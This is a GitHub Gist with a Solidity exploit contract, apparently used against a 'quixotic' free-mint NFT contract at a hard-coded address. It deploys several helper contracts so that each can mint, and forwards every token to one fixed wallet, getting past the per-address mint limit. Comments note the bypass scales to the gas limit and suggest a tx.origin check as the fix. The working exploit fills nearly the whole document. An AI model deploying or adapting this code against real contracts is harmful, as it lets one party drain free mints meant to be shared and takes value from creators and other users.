Skip to content

Instantly share code, notes, and snippets.

@yoyoismee
Created June 11, 2022 15:28
Show Gist options
  • Save yoyoismee/4142a61db0a50ddaf1f49eac85aba906 to your computer and use it in GitHub Desktop.
Save yoyoismee/4142a61db0a50ddaf1f49eac85aba906 to your computer and use it in GitHub Desktop.
quixotic multi mint
// SPDX-License-Identifier: MIT
// author: yoyoismee.eth
pragma solidity 0.8.14;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
// @notice - free mint that allow contract to mint might not be the best idea ?
// @dev maybe you should add something like requrie(msg.sender == tx.origin) ?
// yeah not sure if this intended. but you know that 5 is not the limit right? I cound just mint up to the gas limit.
// I'll reach out to the creator to see if she want it back. but yeah maybe be more careful next time quixotic team.
interface Magic{
function mintToken(uint amount) external payable;
}
contract Buyer is IERC721Receiver{
function buy() public{
Magic(0x8E56343adAFA62DaC9C9A8ac8c742851B0fb8b03).mintToken(1);
}
function onERC721Received(address, address, uint256 id, bytes memory) public virtual override returns (bytes4) {
yolo(id);
return this.onERC721Received.selector;
}
function yolo(uint id) public{
IERC721(0x8E56343adAFA62DaC9C9A8ac8c742851B0fb8b03).safeTransferFrom(address(this),0x6647a7858a0B3846AbD5511e7b797Fc0a0c63a4b,id);
}
}
contract Commander {
constructor(){
Buyer n;
for (uint i = 0; i <5; i++){
n = new Buyer();
n.buy();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment